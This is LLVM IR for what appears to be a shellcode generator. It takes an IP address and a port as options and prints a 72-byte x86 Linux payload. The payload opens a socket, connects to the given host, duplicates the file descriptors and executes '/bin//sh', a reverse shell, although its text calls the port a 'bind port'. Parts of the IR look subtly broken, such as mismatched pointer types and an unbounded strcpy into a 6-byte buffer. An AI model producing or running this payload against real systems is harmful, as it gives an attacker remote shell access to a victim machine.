@.str.10 = [473 x i8] c"\0AShellcode length : 72 bytes\0A\0AIP Address (%03d.%03d.%03d.%03d) : \\x%02x\\x%02x\\x%02x\\x%02x\0ABind port (%05d) : \\x%02x\\x%02x\0A\0A\22\\x99\\x52\\x42\\x52\\x89\\xd3\\x42\\x52\\x89\\xe1\22\0A\22\\x6a\\x66\\x58\\x89\\xc7\\xcd\\x80\\x97\\x68\\x%02x\22\0A\22\\x%02x\\x%02x\\x%02x\\x66\\x68\\x%02x\\x%02x\\x66\\x6a\\x02\22\0A\22\\x89\\xe1\\x6a\\x10\\x51\\x57\\x89\\xe1\\xb3\\x03\22\0A\22\\xcd\\x80\\x5b\\x87\\xca\\xb0\\x3f\\xcd\\x80\\x49\22\0A\22\\x79\\xf9\\x99\\x89\\xd1\\x52\\x68\\x2f\\x2f\\x73\22\0A\22\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xb0\\x0b\22\0A\22\\xcd\\x80\22;\0A\0A\00"
@str = [130 x i8] c"\0A!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\0A!! CAUTION: NULL characters detected !!\0A!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca [6 x i8]
%4 = alloca i32
%5 = getelementptr inbounds [6 x i8], [6 x i8]* %3, i64 0, i64 0
%6 = bitcast i32* %4 to i8*
store i32 0, i32* %4
%7 = call signext i8 @getopt_long(i32 %0, i8** %1, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.4, i64 0, i64 0), %struct.option* getelementptr inbounds ([5 x %struct.option], [5 x %struct.option]* @main.longOpts, i64 0, i64 0), i32* %4)
%8 = icmp eq i8 %7, -1
br i1 %8, label %57, label %9
9: ; preds = %2, %47
%10 = phi i8 [ %55, %47 ], [ %7, %2 ]
%11 = phi i32 [ %54, %47 ], [ 0, %2 ]
%12 = phi i8 [ %53, %47 ], [ undef, %2 ]
%13 = phi i8 [ %52, %47 ], [ undef, %2 ]
%14 = phi i32 [ %51, %47 ], [ 0, %2 ]
%15 = phi i32 [ %50, %47 ], [ 0, %2 ]
%16 = phi i32 [ %49, %47 ], [ 0, %2 ]
%17 = phi i32 [ %48, %47 ], [ 0, %2 ]
%18 = sext i8 %10 to i32
switch i32 %18, label %44 [
i32 105, label %19
i32 112, label %37
]
19: ; preds = %9
%20 = load i32*, i32** @optarg
%21 = call i8* @strtok(i32* %20, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.5, i64 0, i64 0))
%22 = icmp eq i8* %21, null
br i1 %22, label %47, label %23
23: ; preds = %19
%24 = call i32 @atoi(i8* %21)
%25 = call i8* @strtok(i32* null, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.5, i64 0, i64 0))
%26 = icmp eq i8* %25, null
br i1 %26, label %47, label %27
27: ; preds = %23
%28 = call i32 @atoi(i8* %25)
%29 = call i8* @strtok(i32* null, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.5, i64 0, i64 0))
%30 = icmp eq i8* %29, null
br i1 %30, label %47, label %31
31: ; preds = %27
%32 = call i32 @atoi(i8* %29)
%33 = call i8* @strtok(i32* null, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.5, i64 0, i64 0))
%34 = icmp eq i8* %33, null
br i1 %34, label %47, label %35
35: ; preds = %31
%36 = call i32 @atoi(i8* %33)
br label %47
37: ; preds = %9
%38 = load i32*, i32** @optarg
%39 = call i32 @strcpy(i8* %5, i32* %38)
%40 = call i32 @atoi(i8* %5)
%41 = lshr i32 %40, 8
%42 = trunc i32 %41 to i8
%43 = trunc i32 %40 to i8
br label %47
44: ; preds = %9
%45 = load i8*, i8** %1
%46 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([87 x i8], [87 x i8]* @.str.6, i64 0, i64 0), i8* %45, i8* %45)
br label %106
47: ; preds = %31, %27, %23, %19, %37, %35
%48 = phi i32 [ %17, %37 ], [ %24, %35 ], [ 0, %19 ], [ 0, %23 ], [ 0, %27 ], [ 0, %31 ]
%49 = phi i32 [ %16, %37 ], [ %28, %35 ], [ 0, %19 ], [ 0, %23 ], [ 0, %27 ], [ 0, %31 ]
%50 = phi i32 [ %15, %37 ], [ %32, %35 ], [ 0, %19 ], [ 0, %23 ], [ 0, %27 ], [ 0, %31 ]
%51 = phi i32 [ %14, %37 ], [ %36, %35 ], [ 0, %19 ], [ 0, %23 ], [ 0, %27 ], [ 0, %31 ]
%52 = phi i8 [ %43, %37 ], [ %13, %35 ], [ %13, %19 ], [ %13, %23 ], [ %13, %27 ], [ %13, %31 ]
%53 = phi i8 [ %42, %37 ], [ %12, %35 ], [ %12, %19 ], [ %12, %23 ], [ %12, %27 ], [ %12, %31 ]
%54 = phi i32 [ %40, %37 ], [ %11, %35 ], [ %11, %19 ], [ %11, %23 ], [ %11, %27 ], [ %11, %31 ]
%55 = call signext i8 @getopt_long(i32 %0, i8** %1, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.4, i64 0, i64 0), %struct.option* getelementptr inbounds ([5 x %struct.option], [5 x %struct.option]* @main.longOpts, i64 0, i64 0), i32* %4)
%56 = icmp eq i8 %55, -1
br i1 %56, label %57, label %9
57: ; preds = %47, %2
%58 = phi i32 [ 0, %2 ], [ %48, %47 ]
%59 = phi i32 [ 0, %2 ], [ %49, %47 ]
%60 = phi i32 [ 0, %2 ], [ %50, %47 ]
%61 = phi i32 [ 0, %2 ], [ %51, %47 ]
%62 = phi i8 [ undef, %2 ], [ %52, %47 ]
%63 = phi i8 [ undef, %2 ], [ %53, %47 ]
%64 = phi i32 [ 0, %2 ], [ %54, %47 ]
%65 = icmp eq i32 %58, 0
%66 = icmp eq i32 %59, 0
%67 = select i1 %65, i1 %66, i1 false
%68 = icmp eq i32 %60, 0
%69 = select i1 %67, i1 %68, i1 false
%70 = icmp eq i32 %61, 0
%71 = select i1 %69, i1 %70, i1 false
br i1 %71, label %72, label %75
72: ; preds = %57
%73 = load i8*, i8** %1
%74 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([70 x i8], [70 x i8]* @.str.7, i64 0, i64 0), i8* %73)
br label %106
75: ; preds = %57
%76 = icmp ugt i32 %58, 254
%77 = icmp ugt i32 %59, 254
%78 = select i1 %76, i1 true, i1 %77
%79 = icmp ugt i32 %60, 254
%80 = select i1 %78, i1 true, i1 %79
%81 = icmp ugt i32 %61, 254
%82 = select i1 %80, i1 true, i1 %81
br i1 %82, label %83, label %86
83: ; preds = %75
%84 = load i8*, i8** %1
%85 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([70 x i8], [70 x i8]* @.str.7, i64 0, i64 0), i8* %84)
br label %106
86: ; preds = %75
%87 = add i32 %64, -65536
%88 = icmp ult i32 %87, -65535
br i1 %88, label %89, label %92
89: ; preds = %86
%90 = load i8*, i8** %1
%91 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([71 x i8], [71 x i8]* @.str.8, i64 0, i64 0), i8* %90)
br label %106
92: ; preds = %86
%93 = zext i8 %63 to i32
%94 = icmp eq i8 %63, 0
%95 = zext i8 %62 to i32
%96 = icmp eq i8 %62, 0
%97 = select i1 %94, i1 true, i1 %96
%98 = select i1 %97, i1 true, i1 %65
%99 = select i1 %98, i1 true, i1 %66
%100 = select i1 %99, i1 true, i1 %68
%101 = select i1 %100, i1 true, i1 %70
br i1 %101, label %102, label %104
102: ; preds = %92
%103 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([130 x i8], [130 x i8]* @str, i64 0, i64 0))
br label %104
104: ; preds = %92, %102
%105 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([473 x i8], [473 x i8]* @.str.10, i64 0, i64 0), i32 %58, i32 %59, i32 %60, i32 %61, i32 %58, i32 %59, i32 %60, i32 %61, i32 %64, i32 %93, i32 %95, i32 %58, i32 %59, i32 %60, i32 %61, i32 %93, i32 %95)
br label %106
106: ; preds = %104, %89, %83, %72, %44
%107 = phi i32 [ -1, %44 ], [ -1, %72 ], [ -1, %83 ], [ -1, %89 ], [ 0, %104 ]
ret i32 %107
}